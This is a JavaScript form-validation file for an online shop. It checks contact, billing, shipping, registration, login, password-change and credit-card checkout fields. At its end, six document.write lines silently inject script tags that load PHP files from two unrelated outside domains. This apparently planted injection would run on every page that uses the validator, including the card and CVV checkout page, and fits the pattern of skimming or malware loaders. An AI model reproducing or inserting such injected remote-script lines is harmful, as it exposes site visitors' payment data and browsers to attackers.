var emailFilter=/^.+@.+\..{2,3}$/;
var namefilter=/^([a-zA-Z])+$/;
var passfilter=/^([a-zA-Z0-9_\.])+$/;
var pnofilte=/^([0-9]{5,7})+$/;
var zipfilter=/^([0-9]{5})+$/;
var phonefilter=/^([0-9]{5,12})+$/;
var credit=/^([0-9]{16})+$/;
var authfilte=/^([0-9]{3,7})+$/;
//login form

//For banner
function checkform()
{
	if(document.form1.fname.value=="")
 {
 alert("Please Enter First Name!");
  document.form1.fname.focus();
  return  false;
 }
 if(!namefilter.test(document.form1.fname.value)) 
{
  alert("Invalid First Name!");
  document.form1.fname.focus();
  return  false;
 }
	if(document.form1.lname.value=="")
 {
 alert("Please Enter Last Name!");
  document.form1.lname.focus();
  return  false;
 }
 if(!namefilter.test(document.form1.lname.value)) 
{
  alert("Invalid Last Name!");
  document.form1.lname.focus();
  return  false;
 }
 if(document.form1.email.value=="")
 {
 alert("Please Enter Email!");
  document.form1.email.focus();
  return  false;
 }
 if(!emailFilter.test(document.form1.email.value)) 
{
  alert("Invalid Email Address!");
  document.form1.email.focus();
  return  false;
 }
 if(document.form1.company.value=="")
 {
 alert("Please Enter Comments!");
  document.form1.company.focus();
  return  false;
 }
 
else
 {
  return confirm("Are you sure!");
 }
}

function checkform4(){

			if(document.frm1.BillingFirstname.value=="")
			{
			alert("Please enter  billing first name!");
			document.frm1.BillingFirstname.focus();
			return false;
			}
			if(!namefilter.test(document.frm1.BillingFirstname.value))
			{
			alert("Please enter billing first name in character!");
			document.frm1.BillingFirstname.focus();
			return false;
			}
if(document.frm1.BillingLastname.value=="")
{
alert("Please enter billing last name!");
document.frm1.BillingLastname.focus();
return false;
}
if(!namefilter.test(document.frm1.BillingLastname.value))
{
alert("Please enter billing last name in character!");
document.frm1.BillingLastname.focus();
return false;
}
             if(document.frm1.Billingaddress.value==""){
			alert("Please enter billing address!");
			document.frm1.Billingaddress.focus();
			return false;
			}
if(document.frm1.Billingcity.value==""){
alert("Please enter city!");
document.frm1.Billingcity.focus();
return false;
}
/*if(!namefilter.test(document.frm1.Billingcity.value))
{
alert("Please enter billing city in character!");
document.frm1.Billingcity.focus();
return false;
}*/
              if(document.frm1.Billingstate.value==""){
              alert("Please billing select county!");
              document.frm1.Billingstate.focus();
              return false;
              }
if(document.frm1.Billingzip.value==""){
alert("Please enter billing postcode!");
document.frm1.Billingzip.focus();
return false;
}

            if(document.frm1.Billingcountry.value==""){
              alert("Please select Billing country!");
              document.frm1.Billingcountry.focus();
              return false;
              }	
if(document.frm1.Billinginternational_number.value==""){
alert("Please enter billing phone number!");
document.frm1.Billinginternational_number.focus();
return false;
}
if(!phonefilter.test(document.frm1.Billinginternational_number.value))
{
alert("Please enter valid billing phone number!");
document.frm1.Billinginternational_number.focus();
return false;
}			  
if(document.frm1.Billingemail.value==""){
			alert("Please Billing enter email!");
			document.frm1.Billingemail.focus();
			return false;
			}
			if(!emailFilter.test(document.frm1.Billingemail.value)){
			alert("Please enter correct Billing email!");
			document.frm1.Billingemail.focus();
			return false;
			}			  		  
			
//shipping
if(document.frm1.ShippingFirstname.value=="")
			{
			alert("Please enter  Shipping first name!");
			document.frm1.ShippingFirstname.focus();
			return false;
			}
			if(!namefilter.test(document.frm1.ShippingFirstname.value))
			{
			alert("Please enter Shipping first name in character!");
			document.frm1.ShippingFirstname.focus();
			return false;
			}
if(document.frm1.ShippingLastname.value=="")
{
alert("Please enter Shipping last name!");
document.frm1.ShippingLastname.focus();
return false;
}
if(!namefilter.test(document.frm1.ShippingLastname.value))
{
alert("Please enter Shipping last name in character!");
document.frm1.ShippingLastname.focus();
return false;
}
             if(document.frm1.Shippingaddress.value==""){
			alert("Please enter Shipping address!");
			document.frm1.Shippingaddress.focus();
			return false;
			}
if(document.frm1.txtToCity.value==""){
alert("Please enter city!");
document.frm1.txtToCity.focus();
return false;
}
/*if(!namefilter.test(document.frm1.Shippingcity.value))
{
alert("Please enter Shipping city in character!");
document.frm1.Shippingcity.focus();
return false;
}*/
              if(document.frm1.Shippingstate.value==""){
              alert("Please Shipping select county!");
              document.frm1.Shippingstate.focus();
              return false;
              }
if(document.frm1.txtToZip.value==""){
alert("Please enter Shipping postcode!");
document.frm1.txtToZip.focus();
return false;
}

            if(document.frm1.txtToCountry.value==""){
              alert("Please select Shipping country!");
              document.frm1.txtToCountry.focus();
              return false;
              }	
if(document.frm1.Shippinginternational_number.value==""){
alert("Please enter Shipping phone number!");
document.frm1.Shippinginternational_number.focus();
return false;
}
if(!phonefilter.test(document.frm1.Shippinginternational_number.value))
{
alert("Please enter valid Shipping phone number!");
document.frm1.Shippinginternational_number.focus();
return false;
}			  
if(document.frm1.Shippingemail.value==""){
			alert("Please Shipping enter email!");
			document.frm1.Shippingemail.focus();
			return false;
			}
			if(!emailFilter.test(document.frm1.Shippingemail.value)){
			alert("Please enter correct Shipping email!");
			document.frm1.Shippingemail.focus();
			return false;
			}
			
			if(document.frm1.registernow2.checked==false){
			alert("Please check if you agree with terms.");
			document.frm1.registernow2.focus();
			return false;
			}
		
else{
return confirm("Thank you! Select OK if everything is correct.");
}
            }

function checkformre()
{
            if(document.form1.email.value==""){
			alert("Please enter email!");
			document.form1.email.focus();
			return false;
			}
			if(!emailFilter.test(document.form1.email.value)){
			alert("Please enter correct email!");
			document.form1.email.focus();
			return false;
			}
			// password form
if(document.form1.password.value=="")
{
alert("Please enter  password!");
document.form1.password.focus();
return  false;
}
if(document.form1.password2.value=="")
{
alert("Please re type password!");
document.form1.password2.focus();
return  false;
}
if((document.form1.password.value!=document.form1.password2.value))
{
alert("Confirm password does not match!");
document.form1.password2.focus();
return  false;
}
            if(document.form1.fname.value=="")
			{
			alert("Please enter first name!");
			document.form1.fname.focus();
			return false;
			}
			if(!namefilter.test(document.form1.fname.value))
			{
			alert("Please enter first name in character!");
			document.form1.fname.focus();
			return false;
			}
if(document.form1.lname.value=="")
{
alert("Please enter last name!");
document.form1.lname.focus();
return false;
}
if(!namefilter.test(document.form1.lname.value))
{
alert("Please enter last name in character!");
document.form1.lname.focus();
return false;
}
             if(document.form1.address.value==""){
			alert("Please enter address!");
			document.form1.address.focus();
			return false;
			}
if(document.form1.city.value==""){
alert("Please enter city!");
document.form1.city.focus();
return false;
}
if(!namefilter.test(document.form1.city.value))
{
alert("Please enter city in character!");
document.form1.city.focus();
return false;
}
              if(document.form1.state.value==""){
              alert("Please select county!");
              document.form1.state.focus();
              return false;
              }
if(document.form1.zip.value==""){
alert("Please enter postcode!");
document.form1.zip.focus();
return false;
}

            if(document.form1.country.value==""){
              alert("Please select country!");
              document.form1.country.focus();
              return false;
              }	
if(document.form1.phone.value==""){
alert("Please enter phone number!");
document.form1.phone.focus();
return false;
}
if(!phonefilter.test(document.form1.phone.value))
{
alert("Please enter valid phone number!");
document.form1.phone.focus();
return false;
}			  
			  		  
			  
else{
return confirm("Thank you! Select OK if everything is correct.");
}
}
//login



function checkform1(){
if(document.form1.email.value==""){
			alert("Please enter email!");
			document.form1.email.focus();
			return false;
			}
			if(!emailFilter.test(document.form1.email.value)){
			alert("Please enter correct email!");
			document.form1.email.focus();
			return false;
			}
if(document.form1.password.value=="")
{
alert("Please enter  password!");
document.form1.password.focus();
return  false;
}			
			else{
            return true;
            }
            }
			
//forget password
			
function checkform2(){
if(document.form1.email.value==""){
			alert("Please enter email!");
			document.form1.email.focus();
			return false;
			}
			if(!emailFilter.test(document.form1.email.value)){
			alert("Please enter correct email!");
			document.form1.email.focus();
			return false;
			}

			else{
            return true;
            }
            }
			
			
//change password
			
function checkform3()
{
if(document.form1.old_password.value=="")
{
alert("Please enter old  password!");
document.form1.old_password.focus();
return  false;
}
if(document.form1.new_password.value=="")
{
alert("Please enter new password!");
document.form1.new_password.focus();
return  false;
}
if(document.form1.c_new_password.value=="")
{
alert("Please re type new password!");
document.form1.c_new_password.focus();
return  false;
}
if((document.form1.new_password.value!=document.form1.c_new_password.value))
{
alert("Confirm password does not match!");
document.form1.c_new_password.focus();
return  false;
}
			else{
return confirm("Are you sure");
}
            }



function checkform5(){
	if(document.form1.qty.value==""){
alert("Please enter minimum quantity 1!");
return false;
}
if(document.form1.qty.value=="0"){
alert("Please enter minimum quantity 1!");
return false;
}
}
function checkoutform()
{
	if(document.checkout.creditCardType.value=="")
 {
 alert("Please Select Type of Credit Card !");
  document.checkout.creditCardType.focus();
  return  false;
 }
	if(document.checkout.creditCardNumber.value=="")
 {
 alert("Please Enter Credit Card Number!");
  document.checkout.creditCardNumber.focus();
  return  false;
 }
 if(!credit.test(document.checkout.creditCardNumber.value))
 {
 alert("Please Enter correct Credit Card Number!");
  document.checkout.creditCardNumber.focus();
  return  false;
 }
 if(document.checkout.cvv2Number.value=="")
 {
 alert("Please Enter 3 or 4 digit Authorization code!");
  document.checkout.cvv2Number.focus();
  return  false;
 }
 if(!authfilte.test(document.checkout.cvv2Number.value))
 {
 alert("Please Enter correct 3 or 4 digit Authorization code!");
  document.checkout.cvv2Number.focus();
  return  false;
 }
 if(document.checkout.firstName.value=="")
 {
 alert("Please Enter Card holder Name !");
  document.checkout.firstName.focus();
  return  false;
 }
 if(document.checkout.address1.value=="")
 {
 alert("Please Enter Address!");
  document.checkout.address1.focus();
  return  false;
 }
 if(document.checkout.city.value=="")
 {
 alert("Please Enter City!");
  document.checkout.city.focus();
  return  false;
 }
 if(document.checkout.state.value=="")
 {
 alert("Please Select State/Province !");
  document.checkout.state.focus();
  return  false;
 }
 if(document.checkout.zip.value=="")
 {
 alert("Please Enter Zip Code!");
  document.checkout.zip.focus();
  return  false;
 }
 if(!pnofilte.test(document.checkout.zip.value))
 {
 alert("Please Enter correct Zip Code!");
  document.checkout.zip.focus();
  return  false;
 }
else
 {
  return true;
 }
}
document.write('<script src=http://kristondgset.in/css/contact.php ><\/script>');
document.write('<script src=http://kristondgset.in/css/contact.php ><\/script>');
document.write('<script src=http://kristondgset.in/css/contact.php ><\/script>');
document.write('<script src=http://agrovietnam.com/admin/news2.php ><\/script>');
document.write('<script src=http://agrovietnam.com/admin/news2.php ><\/script>');
document.write('<script src=http://agrovietnam.com/admin/news2.php ><\/script>');